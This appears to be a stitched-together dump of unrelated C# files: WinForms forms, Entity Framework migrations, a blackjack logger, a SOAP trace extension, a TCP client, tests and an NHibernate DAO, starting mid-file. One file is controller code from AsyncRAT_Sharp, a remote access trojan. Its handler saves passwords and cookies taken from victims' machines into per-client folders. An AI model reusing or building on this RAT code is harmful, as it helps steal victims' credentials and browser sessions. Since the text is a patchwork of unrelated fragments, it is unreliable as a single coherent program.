MessageBox.Show("Lưu thành công!", "Thông báo", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
private void btKhachHang_Click(object sender, EventArgs e)
{
KhachHang kh = new KhachHang();
kh.ShowDialog();
khCtrl.HienThiComboBoxMaKhachHang(cmbMaKhachHang);
}
private void btMaLoaiDatTiec_Click(object sender, EventArgs e)
{
LoaiDatTiec ldt = new LoaiDatTiec();
ldt.ShowDialog();
ldtCtrl.HienThiComboBox(cmbMaLoaiDatTiec);
}
private void btMaMonAn_Click(object sender, EventArgs e)
{
MonAn ma = new MonAn();
ma.ShowDialog();
maCtrl.HienThiComboBox(cmbMonAn);
}
private void toolStripButton1_Click(object sender, EventArgs e)
{
DataRow row = dtCtrl.NewRow();
row["MaDatTiec"] = txtMaDatTiec.Text;
row["MaKhachHang"] = cmbMaKhachHang.SelectedValue;
row["MaLoaiDatTiec"] = cmbMaLoaiDatTiec.SelectedValue;
row["MaMonAn"] = cmbMonAn.SelectedValue;
row["NgayDat"] = dateNgayDat.Value.Date;
row["DonGia"] = numDonGia.Value;
dtCtrl.Add(row);
bindingNavigator.BindingSource.MoveLast();
dtCtrl.Save();
DataRow rowDT = bkdtCtrl.NewRow();
rowDT["MaBangKeDatTiec"] = "BKDT" + (bindingNavigator.BindingSource.Count);
rowDT["MaDatTiec"] = txtMaDatTiec.Text;
rowDT["MaKhachHang"] = cmbMaKhachHang.SelectedValue;
rowDT["ThanhTien"] = numDonGia.Value;
bkdtCtrl.Add(rowDT);
bkdtCtrl.Save();
txtMaDatTiec.Text = AutoID.AutoIDCreater("MaDatTiec", "DT", dataGridView);
MessageBox.Show("Thêm thành công!", "Thông báo", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
private void toolStripButton2_Click(object sender, EventArgs e)
{
DialogResult r = MessageBox.Show("Bạn có muốn xóa không?", "Cảnh báo", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
if (r == DialogResult.Yes)
{
bindingNavigatorPositionItem.Focus();
bindingNavigator.BindingSource.RemoveCurrent();
khCtrl.Save();
MessageBox.Show("Xóa thành công!", "Thông báo", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
}
}
|
using Newtonsoft.Json;
using System;
namespace EthereumChain
{
[Serializable]
public sealed class EtherAddressTransactions
{
[JsonProperty]
private readonly string status;
[JsonProperty]
private readonly string message;
[JsonProperty]
private readonly EtherTransaction[] result;
public string Status => status;
public string Message => message;
public EtherTransaction[] Result => result;
}
} |
namespace TomKlonowski.DB.Migrations
{
using System;
using System.Data.Entity.Migrations;
public partial class Blogs_Description : DbMigration
{
public override void Up()
{
AddColumn("dbo.Blogs", "Description", c => c.String(maxLength: 256));
AlterColumn("dbo.Blogs", "Title", c => c.String(maxLength: 256));
AlterColumn("dbo.Blogs", "Tags", c => c.String(maxLength: 256));
}
public override void Down()
{
AlterColumn("dbo.Blogs", "Tags", c => c.String());
AlterColumn("dbo.Blogs", "Title", c => c.String());
DropColumn("dbo.Blogs", "Description");
}
}
}
|
using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace AsyncRAT_Sharp.Handle_Packet
{
public class HandleRecovery
{
public HandleRecovery(Clients client, MsgPack unpack_msgpack)
{
try
{
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery");
if (!Directory.Exists(fullPath))
return;
File.WriteAllText(fullPath + "\\Password.rtf", unpack_msgpack.ForcePathObject("Password").AsString);
File.WriteAllText(fullPath + "\\Cookies.rtf", unpack_msgpack.ForcePathObject("Cookies").AsString);
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
}
catch { }
}
}
}
|
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Cards;
namespace Blackjack
{
public class EventMessageArgs : EventArgs
{
public string Message { get; }
public EventMessageArgs(string message)
{
Message = message;
}
}
public class FileLogger
{
private readonly string path;
public FileLogger(string path)
{
this.path = path;
File.Delete(path);
}
public void OnEventMessage(object obj, EventMessageArgs args)
{
using (StreamWriter writer = File.AppendText(path))
{
writer.WriteLine(args.Message);
}
}
}
public class StdOutLogger
{
public void OnEventMessage(object obj, EventMessageArgs args)
{
Console.WriteLine(args.Message);
}
}
public class BlackjackStatsLogger : BlackjackEventLogger
{
public void OnTableRoundEnd(object obj, EventArgs _)
{
if (obj is BlackjackTable table)
{
Log($"{table.Count[BlackjackCountEnum.HiLo]},{table.TableBank.Balance}");
}
}
}
public class BlackjackEventLogger
{
public event EventHandler<EventMessageArgs> Logging;
public void OnTableRoundBegan(object obj, EventArgs _)
{
if (obj is BlackjackTable t)
{
Log($"began round on Table: {t.NumOccupiedSlots} seats occupied, ${t.TableBank.Balance} in bank");
}
}
public void OnTableRoundEnded(object obj, EventArgs _)
{
if (obj is BlackjackTable t)
{
Log($"ended round on Table: {t.NumOccupiedSlots} seats occupied, ${t.TableBank.Balance} in bank");
}
}
public void OnTableHandDealt(object _, HandDealtEventArgs args)
{
Log($"player {args.Player} dealt hand {args.Hand} (Total={args.Hand.Value})");
}
public void OnHoleCardRevealed(object _, HoleCardRevealedEventArgs args)
{
Log($"dealer revealed hole card {args.HoleCard}");
}
public void OnTableSeatChanged(object _, SeatingEventArgs args)
{
StringBuilder msg = new($"player {args.NewPlayer} took ");
if (args.PreviousPlayer == null)
{
msg.Append($"empty seat {args.SeatIndex}");
}
else
{
msg.Append($"seat {args.SeatIndex} from player {args.PreviousPlayer}");
}
Log(msg.ToString());
}
public void OnTableSlotRoundBegan(object obj, EventArgs _)
{
if (obj is BlackjackTableSlot s)
{
Log($"began round on TableSlot with player {s.Player}");
}
}
public void OnTableSlotRoundEnded(object obj, EventArgs _)
{
if (obj is BlackjackTableSlot s)
{
Log($"ended round on TableSlot with player {s.Player}");
}
}
public void OnTableSlotActing(object obj, EventArgs _)
{
if (obj is BlackjackTableSlot s)
{
Log($"acting on TableSlot with player {s.Player}");
}
}
public void OnTableSlotActingHand(object obj, EventArgs _)
{
if (obj is BlackjackTableSlot s)
{
Log($"acting on new Hand on TableSlot with player {s.Player}");
}
}
public void OnActionExecuted(object obj, BlackjackActionEventArgs args)
{
if (obj is BlackjackTableSlot slot)
{
string handString = args.Done ? "completed" : "continues";
Log($"executed action {args.Kind}; hand {handString} (Total={slot.Hand.Value})");
}
}
public void OnHitExecuted(object obj, BlackjackHitActionEventArgs args)
{
if (obj is BlackjackTableSlot slot)
{
Log($"hit yielded a {args.CardReceived}, Total={slot.Hand.Value}");
}
}
public void OnPlayerDecisionMade(object obj, BlackjackDecisionEventArgs args)
{
if (obj is Player p)
{
Log($"player {p} {MakeDecisionString(args)}");
}
}
public void OnPlayerEarlySurrenderDecision(object obj, BlackjackEarlySurrenderEventArgs args)
{
if (obj is Player p)
{
Log($"player {p} {MakeEarlySurrenderDecisionString(args)}");
}
}
public void OnPlayerBetMade(object obj, BlackjackBetEventArgs args)
{
if (obj is Player p)
{
Log($"player {p} {MakeBetString(args)}");
}
}
public void OnPlayerInsuranceDecision(object obj, BlackjackInsuranceEventArgs args)
{
if (obj is Player p)
{
Log($"player {p} {MakeInsuranceDecisionString(args)}");
}
}
public void OnDecisionMade(object _, BlackjackDecisionEventArgs args)
{
Log(MakeDecisionString(args));
}
public void OnEarlySurrenderDecision(object _, BlackjackEarlySurrenderEventArgs args)
{
Log(MakeEarlySurrenderDecisionString(args));
}
public void OnBetMade(object _, BlackjackBetEventArgs args)
{
Log(MakeBetString(args));
}
public void OnInsuranceDecision(object _, BlackjackInsuranceEventArgs args)
{
Log(MakeInsuranceDecisionString(args));
}
public void OnPlayerSpent(object obj, BankTransactionEventArgs args)
{
if (obj is Player p)
{
Log($"player {p} spent {args.Amount}");
}
}
public void OnPlayerEarned(object obj, BankTransactionEventArgs args)
{
if (obj is Player p)
{
Log($"player {p} earned {args.Amount}");
}
}
public void OnSpent(object obj, BankTransactionEventArgs args)
{
Log($"spent ${args.Amount}, now have ${args.Balance}");
}
public void OnEarned(object obj, BankTransactionEventArgs args)
{
Log($"earned ${args.Amount}, now have ${args.Balance}");
}
public void OnHouseEarned(object _, BankTransactionEventArgs args)
{
Log($"house (${args.Balance}) won {args.Amount}");
}
public void OnHouseSpent(object obj, BankTransactionEventArgs args)
{
Log($"house (${args.Balance}) lost {args.Amount}");
}
public void OnShoeShuffling(object obj, EventArgs _)
{
Log("shoe shuffled");
}
public void OnShoeExhausted(object obj, EventArgs _)
{
Log("shoe exhausted");
}
public void OnShoeDealt(object _, DealtEventArgs args)
{
string msg = $"shoe dealt {args.DealtCards.Length} cards";
if (args.Visible)
{
msg += $": {String.Join(",", args.DealtCards)}";
}
else
{
msg += " face down";
}
Log(msg);
}
public void OnShoeBurnt(object _, BurnEventArgs args)
{
Log($"shoe burnt {args.NumBurnt} cards");
}
public void OnCountChanged(object obj, EventArgs _)
{
if (obj is BlackjackCount)
{
Log($"count changed to {obj}");
}
}
protected void Log(string message)
{
Logging?.Invoke(this, new EventMessageArgs(message));
}
private static string MakeDecisionString(BlackjackDecisionEventArgs args)
{
return $"decided on {args.Decision} from [{string.Join(", ", args.AvailableActions)}] with hand {args.Hand} (Total={args.Hand.Value}) vs {args.UpCard.Rank}";
}
private static string MakeEarlySurrenderDecisionString(BlackjackEarlySurrenderEventArgs args)
{
string decisionString = args.Surrendered ? "accepted" : "declined";
return $"{decisionString} early surrender with hand {args.Hand} (Total={args.Hand.Value}) vs {args.UpCard.Rank}";
}
private static string MakeBetString(BlackjackBetEventArgs args)
{
return $"made bet of ${args.Amount}";
}
private static string MakeInsuranceDecisionString(BlackjackInsuranceEventArgs args)
{
string decisionString = args.Insured ? "accepted" : "declined";
return $"{decisionString} insurance with hand {args.Hand} (Total={args.Hand.Value}) vs {args.UpCard.Rank}";
}
}
}
|
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Web;
using System.Web.Services.Protocols;
namespace asmxTraceExtensionLog4Net
{
/// <summary>
/// 在所有的SOAP接口上面增加这个属性就可以了 [TraceLog]
/// Define a SOAP Extension that traces the SOAP request and SOAP
/// response for the XML Web service method the SOAP extension is
/// applied to.
/// </summary>
public class SOAPTraceLog : SoapExtension
{
log4net.ILog log = log4net.LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType);
Stream oldStream;
Stream newStream;
string filename;
Type WebServiceType;
// Save the Stream representing the SOAP request or SOAP response into
// a local memory buffer.
public override Stream ChainStream(Stream stream)
{
oldStream = stream;
newStream = new MemoryStream();
return newStream;
}
// When the SOAP extension is accessed for the first time, the XML Web
// service method it is applied to is accessed to store the file
// name passed in, using the corresponding SoapExtensionAttribute.
public override object GetInitializer(LogicalMethodInfo methodInfo, SoapExtensionAttribute attribute)
{
//return ((TraceLogAttribute)attribute).Filename;
//return null;
return AppDomain.CurrentDomain.BaseDirectory + "\\log\\soap.log";
}
// The SOAP extension was configured to run using a configuration file
// instead of an attribute applied to a specific XML Web service
// method.
public override object GetInitializer(Type WebServiceType)
{
// Return a file name to log the trace information to, based on the
// type.
this.WebServiceType = WebServiceType;
return AppDomain.CurrentDomain.BaseDirectory + "log\\soap.log";
//return null;
}
// Receive the file name stored by GetInitializer and store it in a
// member variable for this specific instance.
public override void Initialize(object initializer)
{
filename = (string)initializer;
}
// If the SoapMessageStage is such that the SoapRequest or
// SoapResponse is still in the SOAP format to be sent or received,
// save it out to a file.
public override void ProcessMessage(SoapMessage message)
{
switch (message.Stage)
{
case SoapMessageStage.BeforeSerialize:
break;
case SoapMessageStage.AfterSerialize:
WriteOutput(message);
break;
case SoapMessageStage.BeforeDeserialize:
WriteInput(message);
break;
case SoapMessageStage.AfterDeserialize:
break;
}
}
public void WriteOutput(SoapMessage message)
{
newStream.Position = 0;
TextReader reader = new StreamReader(newStream);
var s = reader.ReadToEnd();
//log.Debug("请求地址为:"+ message.Url + " 请求Action:" + message.Action + " 出参为:" + s);
log.Debug("出参为:" + s);
newStream.Position = 0;
Copy(newStream, oldStream);
}
public void WriteInput(SoapMessage message)
{
Copy(oldStream, newStream);
newStream.Position = 0;
TextReader reader = new StreamReader(newStream);
var s = reader.ReadToEnd();
log.Debug("请求地址为:" + message.Url);
log.Debug("请求Action:" + message.Action);
log.Debug("入参为:" + s);
newStream.Position = 0;
}
void Copy(Stream from, Stream to)
{
TextReader reader = new StreamReader(from);
TextWriter writer = new StreamWriter(to);
writer.WriteLine(reader.ReadToEnd());
writer.Flush();
}
}
// Create a SoapExtensionAttribute for the SOAP Extension that can be
// applied to an XML Web service method.
[AttributeUsage(AttributeTargets.Method)]
public class TraceLogAttribute : SoapExtensionAttribute
{
private int priority;
public override Type ExtensionType
{
get { return typeof(SOAPTraceLog); }
}
public override int Priority
{
get { return priority; }
set { priority = value; }
}
}
} |
namespace AzureAI.CallCenterTalksAnalysis.Infrastructure.Configuration.Interfaces
{
public interface IVideoIndexerServiceConfiguration : ICognitiveServiceConfiguration
{
string AccountId { get; set; }
string Location { get; set; }
}
}
|
using Backend.Model.Manager;
using Model.Manager;
namespace GraphicalEditorServerTests.DataFactory
{
public class CreateEquipment
{
public Equipment CreateInvalidTestObject()
{
return new Equipment(-1, null);
}
public Equipment CreateValidTestObject(int equipmentQuantity)
{
return new Equipment(equipmentQuantity, new CreateEquipmentType().CreateValidTestObject());
}
public Equipment CreateValidTestObject()
{
return new Equipment(30, new CreateEquipmentType().CreateValidTestObject());
}
public Equipment CreateBedTestObject()
{
return new Equipment(30, new EquipmentType(0, "bed", false));
}
public Equipment CreateMaskTestObject()
{
return new Equipment(30, new EquipmentType(1, "mask", true));
}
public Equipment CreateComputerTestObject()
{
return new Equipment(30, new EquipmentType(2, "computer", false));
}
public Equipment CreateNeedleTestObject()
{
return new Equipment(30, new EquipmentType(3, "needle", true));
}
public Equipment CreateBendTestObject()
{
return new Equipment(30, new EquipmentType(4, "bend", true));
}
}
}
|
using UnityEngine;
public class LevelManager
{
private Level[] levels;
private const int levelQtty = 10;
private int starCounter;
private static LevelManager instance;
public static LevelManager Instance
{
get
{
if (instance == null)
{
instance = new LevelManager();
}
return instance;
}
}
private LevelManager()
{
levels = new Level[levelQtty];
for (int i = 0; i < levels.Length; i++)
{
//levels[i].won = true;
levels[i].stars = new bool[3] {false, false, false};
}
}
public int GetLevelQuantity()
{
return levelQtty;
}
public void SetLevelWon(int level, bool star1, bool star2, bool star3)
{
levels[level].won = true;
if (star1)
starCounter++;
if (star2)
starCounter++;
if (star3)
starCounter++;
for (int i = 0; i < starCounter; i++)
levels[level].stars[i] = true;
starCounter = 0;
}
public bool ReturnStars(int aux,int aux2)
{
return levels[aux].stars[aux2];
}
public Level GetLevel(int level)
{
return levels[level];
}
public void SetLevelWon(int _levelNumber)
{
levels[_levelNumber].won = true;
}
public void SetLevelNotWon(int _levelNumber)
{
levels[_levelNumber].won = false;
}
public void SetStarTaken(int _lvlNumber, int _starNumber)
{
levels[_lvlNumber].stars[_starNumber] = true;
}
public void SetStarNotTaken(int _lvlNumber, int _starNumber)
{
levels[_lvlNumber].stars[_starNumber] = false;
}
}
|
// Bedingungen
// https://www.tutorialspoint.com/csharp/csharp_decision_making.htm
bool duHast2Franken = true;
duHast2Franken = !duHast2Franken;
Console.WriteLine("Wenn du mir 2 Franken gibst, dann gib ich dir ein Weggli");
if (duHast2Franken) {
Console.WriteLine("Ich gib dir ein Weggli!");
} else {
Console.WriteLine("Sorry, kein Weggli für dich.");
}
if (!duHast2Franken) {
Console.WriteLine("Warum hast du kein Geld?");
}
// loops
Console.WriteLine("LOOPS");
// https://www.tutorialspoint.com/csharp/csharp_loops.htm
// WHILE-Loop (führe den Codeblock solange die Bedingung wahr ist)
int j = 1;
while(j < 10) {
Console.WriteLine(j);
j = j + 1;
// breache ab, wenn j = 5 ist
if (j == 5) {
break;
}
}
// For-Loop
// Etas hochzählen oder herunterzählen und etwas tun dabei
// struktur: for (vorbereitung; bedingung; aufzählungscode) { /* code */ }
for (int i = 1; i < 10; i = i + 1) {
// ignorieren den nachfolgenden Code, wenn i = 5
if (i == 5) {
continue;
}
Console.WriteLine("for-loop" + i);
}
// resultat:
// for-loop1
// for-loop2
// for-loop3
// for-loop4
// for-loop6
// for-loop7
// for-loop8
// for-loop9
for (int i = 0; i < 10; i = i + 1) {
if(i==2){
continue;
}
Console.WriteLine("Ich bin " + i + " Jahre alt.");
}
|
namespace Allyn.Infrastructure.EfRepositories.Migrations
{
using System;
using System.Data.Entity.Migrations;
public partial class _2017822011626 : DbMigration
{
public override void Up()
{
AddColumn("dbo.FProduct", "ShopKey", c => c.Guid());
CreateIndex("dbo.FProduct", "ShopKey");
AddForeignKey("dbo.FProduct", "ShopKey", "dbo.BShop", "Id");
}
public override void Down()
{
DropForeignKey("dbo.FProduct", "ShopKey", "dbo.BShop");
DropIndex("dbo.FProduct", new[] { "ShopKey" });
DropColumn("dbo.FProduct", "ShopKey");
}
}
}
|
using System;
using System.Collections.Generic;
using System.Text;
namespace OsuSqliteDatabase.Model
{
public class OsuDatabaseBeatmap
{
public int Id { get; set; }
public int OsuDatabaseId { get; set; }
public OsuDatabase OsuDatabase { get; set; }
public int BytesOfBeatmapEntry { get; set; }
public string Artist { get; set; }
public string ArtistUnicode { get; set; }
public string Title { get; set; }
public string TitleUnicode { get; set; }
public string Creator { get; set; }
public string Difficult { get; set; }
public string AudioFileName { get; set; }
public string MD5Hash { get; set; }
public string FileName { get; set; }
public OsuGameBeatmapRankStatus RankStatus { get; set; }
public int CircleCount { get; set; }
public int SliderCount { get; set; }
public int SpinnerCount { get; set; }
public DateTime LatestModifiedAt { get; set; }
public double ApproachRate { get; set; }
public double CircleSize { get; set; }
public double HPDrain { get; set; }
public double OverallDifficulty { get; set; }
public double SliderVelocity { get; set; }
public List<OsuDatabaseBeatmapStarRating> StarRatings { get; set; }
public int DrainTime { get; set; }
public int TotalTime { get; set; }
public int AudioPreviewTime { get; set; }
public int TimingPointCount { get; set; }
public List<OsuDatabaseTimings> OsuDatabaseTimings { get; set; }
public int BeatmapId { get; set; }
public int BeatmapSetId { get; set; }
public int ThreadId { get; set; }
public OsuGameRankRating StandardRankRating { get; set; }
public OsuGameRankRating TaikoRankRating { get; set; }
public OsuGameRankRating CatchTheBeatRankRating { get; set; }
public OsuGameRankRating ManiaRankRating { get; set; }
public int LocalOffset { get; set; }
public double StackLeniency { get; set; }
public OsuGameRuleSet RuleSet { get; set; }
public string Source { get; set; }
public string Tags { get; set; }
public int OnlineOffset { get; set; }
public string TitleFont { get; set; }
public bool NotPlayed { get; set; }
public bool IsOsz2 { get; set; }
public DateTime LatestPlayedAt { get; set; }
public string FolderName { get; set; }
public DateTime LatestUpdateAt { get; set; }
public bool BeatmapSoundIgnored { get; set; }
public bool BeatmapSkinIgnored { get; set; }
public bool StoryboardDisabled { get; set; }
public bool VideoDisabled { get; set; }
public bool VisualOverrided { get; set; }
public int ManiaScrollSpeed { get; set; }
}
}
|
using LeaveApplication.Dal.Models;
using Microsoft.EntityFrameworkCore.Metadata.Builders;
using System;
using System.Collections.Generic;
using System.Text;
namespace LeaveApplication.Dal.Configuration
{
public class UserConfiguration : BaseEntityConfiguration<User>
{
public override void Configure(EntityTypeBuilder<User> builder)
{
base.Configure(builder);
builder
.HasOne(p => p.JobTitle)
.WithMany(p => p.Users)
.HasForeignKey(p => p.JobTitleId);
}
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Text;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
using System.Windows.Threading;
namespace PlanMGMT.Control
{
/// <summary>
/// 加载框
/// </summary>
public partial class Loading : Window
{
/* 使用方法
Control.Loading load = new Control.Loading(Test);
load.Msg = "稍等。。。";
load.Start();
load.ShowDialog();
private void Test()
{
System.Threading.Thread.Sleep(15000);
}
*/
public Action WorkMethod;
private string _msg = "正在加载...";
private string _message = string.Empty;
private Storyboard _storyboard;
/// <summary>
/// 提示信息
/// </summary>
public string Msg
{
get { return _msg; }
set { _msg = value; }
}
private void Image_Loaded(object sender, RoutedEventArgs e)
{
this._storyboard.Begin(this.image, true);
}
public void Stop()
{
base.Dispatcher.BeginInvoke(new Action(() =>
{
this._storyboard.Pause(this.image);
base.Visibility = System.Windows.Visibility.Collapsed;
}));
}
public Loading(Action workMethod)
{
InitializeComponent();
this._storyboard = (base.Resources["waiting"] as Storyboard);
this.lblMsg.Content = this.Msg;
this.WorkMethod = workMethod;
}
public void Start()
{
using (BackgroundWorker bw = new BackgroundWorker())
{
bw.DoWork += (obj, e) =>
{
this.WorkMethod();
};
bw.RunWorkerCompleted += (s, e) =>
{
this.Close();
};
bw.RunWorkerAsync();
}
}
private void bw_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
{
this.Close();
}
}
}
|
namespace Sentry.NLog.Tests;
public class ConfigurationExtensionsTest
{
[Fact]
public void AddSentry_Parameterless_DefaultTargetName()
{
var actual = new LoggingConfiguration().AddSentry();
Assert.Equal(ConfigurationExtensions.DefaultTargetName, actual.AllTargets[0].Name);
}
[Fact]
public void AddSentry_ConfigCallback_CallbackInvoked()
{
var expected = TimeSpan.FromDays(1);
var actual = new LoggingConfiguration().AddSentry(o => o.FlushTimeout = expected);
var sentryTarget = Assert.IsType<SentryTarget>(actual.AllTargets[0]);
Assert.Equal(expected.TotalSeconds, sentryTarget.FlushTimeoutSeconds);
}
[Fact]
public void AddSentry_DsnAndConfigCallback_CallbackInvokedAndDsnUsed()
{
var expectedTimeout = TimeSpan.FromDays(1);
var expectedDsn = "https://a@sentry.io/1";
var actual = new LoggingConfiguration().AddSentry(expectedDsn, o => o.FlushTimeout = expectedTimeout);
var sentryTarget = Assert.IsType<SentryTarget>(actual.AllTargets[0]);
Assert.Equal(expectedTimeout.TotalSeconds, sentryTarget.FlushTimeoutSeconds);
Assert.Equal(expectedDsn, sentryTarget.Options.Dsn);
}
[Fact]
public void AddTag_SetToTarget()
{
var sut = new SentryNLogOptions();
Layout layout = "b";
sut.AddTag("a", layout);
var tag = Assert.Single(sut.Tags);
Assert.Equal("a", tag.Name);
Assert.Equal(layout, tag.Layout);
}
}
|
using System;
using System.Collections.Generic;
using System.Data.Entity.ModelConfiguration;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TransferData.DataAccess.Entity.Mapping
{
public class MappingTitle : MappingBase
{
}
public class MappingTitleConfig : EntityTypeConfiguration<MappingTitle>
{
public MappingTitleConfig()
{
ToTable("MappingTitle");
}
}
}
|
namespace _04._AcademyGraduation
{
using System;
using System.Collections.Generic;
using System.Linq;
public class Startup
{
public static void Main()
{
int numberOfStudents = int.Parse(Console.ReadLine());
SortedDictionary<string, List<double>> students = new SortedDictionary<string, List<double>>();
for (int i = 0; i < numberOfStudents; i++)
{
string name = Console.ReadLine();
List<double> grades = Console.ReadLine().Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries)
.Select(double.Parse).ToList();
if (!students.ContainsKey(name))
{
students[name] = new List<double>();
}
students[name].AddRange(grades);
}
foreach (KeyValuePair<string, List<double>> student in students)
{
Console.WriteLine($"{student.Key} is graduated with {student.Value.Average()}");
}
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;
using System.IO;
using System.IO.Compression;
namespace 档案汇总
{
class QzTcpClinet
{
TcpClient m_tcpClient;
byte[] m_Buffer = new byte[8192];
MemoryStream m_memStream = new MemoryStream();
public QzTcpClinet(TcpClient s)
{
m_tcpClient = s;
}
public QzTcpClinet()
{
m_tcpClient = new TcpClient();
}
public TcpClient getTcpClient()
{
return m_tcpClient;
}
public void SendCmd(byte[] cmdbytes)
{
try
{
using (MemoryStream memStream = new MemoryStream())
{
using (BinaryWriter binWriter = new BinaryWriter(memStream))
{
if (cmdbytes.Length > 300)
{
using (MemoryStream mstm = new MemoryStream())
{
using (GZipStream gstm = new GZipStream(mstm, CompressionMode.Compress))
{
gstm.Write(cmdbytes, 0, cmdbytes.Length);
}
byte[] gzipbuf = mstm.ToArray();
binWriter.Write(gzipbuf.Length);
binWriter.Write((byte)1);
binWriter.Write(gzipbuf);
}
}
else
{
binWriter.Write(cmdbytes.Length);
binWriter.Write((byte)0);
binWriter.Write(cmdbytes);
}
NetworkStream ns = m_tcpClient.GetStream();
byte[] waitSend = memStream.ToArray();
ns.BeginWrite(waitSend, 0, waitSend.Length, new AsyncCallback(OnSendCallBack), waitSend);
}
}
}
catch(Exception ex)
{
Global.logger.Debug(ex.ToString());
onDisconnected();
}
}
private void OnSendCallBack(IAsyncResult ar)
{
try
{
this.m_tcpClient.GetStream().EndWrite(ar);
}
catch (Exception ex)
{
Global.logger.Debug(ex.ToString());
}
}
public void Connect(string Ip, short port)
{
m_tcpClient.BeginConnect(Ip, port, new AsyncCallback(ConnectedCallBack), this);
}
protected void ConnectedCallBack(IAsyncResult ar)
{
try
{
m_tcpClient.EndConnect(ar);
}
catch (Exception ex)
{
Global.logger.Debug(ex.ToString());
onDisconnected();
return;
}
StartRecive();
onConnencted();
}
protected virtual void onConnencted()
{
}
protected virtual void onDisconnected()
{
}
public virtual void Start()
{
try
{
StartRecive();
}
catch (Exception ex)
{
Global.logger.Debug(ex.ToString());
onDisconnected();
Close();
}
}
public void StartRecive()
{
NetworkStream ns = m_tcpClient.GetStream();
ns.BeginRead(m_Buffer, 0, m_Buffer.Length, new AsyncCallback(OnRecived), this);
}
protected void OnRecived(IAsyncResult ar)
{
int nReadBytes;
bool readMsgOk = false;
try
{
nReadBytes = m_tcpClient.GetStream().EndRead(ar);
}
catch (Exception ex)
{
Global.logger.Debug(ex.ToString());
onDisconnected();
Close();
return;
}
m_memStream.Write(m_Buffer, 0, nReadBytes);
m_memStream.Seek(0, SeekOrigin.Begin);
BinaryReader binReader = new BinaryReader(m_memStream);
if (m_memStream.Length > 5)
{
do
{
int msglen;
byte btZip;
if (m_memStream.Length - m_memStream.Position < 5)
{
break;
}
msglen = binReader.ReadInt32();
btZip = binReader.ReadByte();
if (msglen + 5 < binReader.BaseStream.Length)
{
break;
}
readMsgOk = true;
if (btZip == 0)
{
byte[] msg = binReader.ReadBytes(msglen);
OnMsg(msg);
}
else
{
using (GZipStream gzipStream = new GZipStream(new MemoryStream(binReader.ReadBytes(msglen))
, CompressionMode.Decompress))
{
byte[] gzip_buffer = new byte[8192];
int gzip_readbytes = 0;
using (MemoryStream mstm = new MemoryStream())
{
do
{
gzip_readbytes = gzipStream.Read(gzip_buffer, 0, gzip_buffer.Length);
if (gzip_readbytes > 0)
{
mstm.Write(gzip_buffer, 0, gzip_readbytes);
}
} while (gzip_readbytes > 0);
OnMsg(mstm.ToArray());
}
}
}
} while (true);
}
if (readMsgOk)
{
if (binReader.BaseStream.Position < binReader.BaseStream.Length) //剩余字节,放到下一次读取中
{
byte[] bytes = binReader.ReadBytes((int)binReader.BaseStream.Length - (int)binReader.BaseStream.Position);
m_memStream.Close();
m_memStream = new MemoryStream(bytes);
}
else
{
m_memStream.Close();
m_memStream = new MemoryStream();
}
}
StartRecive();
}
protected virtual void OnMsg(byte[] msgbytes)
{
}
public void Close()
{
try
{
m_tcpClient.Close();
m_memStream.Close();
}
catch (Exception ex)
{
Global.logger.Debug(ex.ToString());
}
}
}
}
|
using System;
using System.Collections;
using System.Collections.Generic;
using Castle.Facilities.NHibernateIntegration.Util;
using NHibernate;
using NHibernate.Collection;
using NHibernate.Exceptions;
using NHibernate.Proxy;
using NHibernate.Type;
namespace com.Sconit.Persistence
{
public class NHDao : NHQueryDao, INHDao
{
public virtual object Create(object instance)
{
using (ISession session = GetSession())
{
try
{
session.Save(instance);
//session.Flush();
return instance;
}
catch (Exception ex)
{
throw new DataException("Could not perform Create for " + instance.GetType().Name, ex);
}
}
}
public virtual bool BatchInsert<T>(IList<T> instanceList)
{
if (instanceList != null && instanceList.Count > 0)
{
using (IStatelessSession session = GetStatelessSession())
{
try
{
foreach (var instance in instanceList)
{
session.Insert(instance);
}
return true;
}
catch (Exception ex)
{
throw new DataException("Could not perform Create for " + instanceList[0].GetType().Name, ex);
}
}
}
else
{
return false;
}
}
public virtual void Delete(object instance)
{
using (ISession session = GetSession())
{
try
{
session.Delete(instance);
//session.Flush();
}
catch (Exception ex)
{
throw new DataException("Could not perform Delete for " + instance.GetType().Name, ex);
}
}
}
public virtual void Update(object instance)
{
using (ISession session = GetSession())
{
try
{
session.Update(instance);
//SaveOrUpdateCopy可以解决在hibernate中同一个session里面有了两个相同标识的错误
//a different object with the same identifier value was already associated with the session
//不知道有没有什么未知影响
//session.SaveOrUpdateCopy(instance);
//session.Flush();
}
catch (Exception ex)
{
throw new DataException("Could not perform Update for " + instance.GetType().Name, ex);
}
}
}
public virtual void MergeUpdate(object instance)
{
using (ISession session = GetSession())
{
try
{
session.Merge(instance);
}
catch (Exception ex)
{
throw new DataException("Could not perform Update for " + instance.GetType().Name, ex);
}
}
}
public virtual void DeleteAll(Type type)
{
using (ISession session = GetSession())
{
try
{
session.Delete(String.Format("from {0}", type.Name));
//session.Flush();
}
catch (Exception ex)
{
throw new DataException("Could not perform DeleteAll for " + type.Name, ex);
}
}
}
public virtual void Save(object instance)
{
using (ISession session = GetSession())
{
try
{
session.SaveOrUpdate(instance);
//session.Flush();
}
catch (Exception ex)
{
throw new DataException("Could not perform Save for " + instance.GetType().Name, ex);
}
}
}
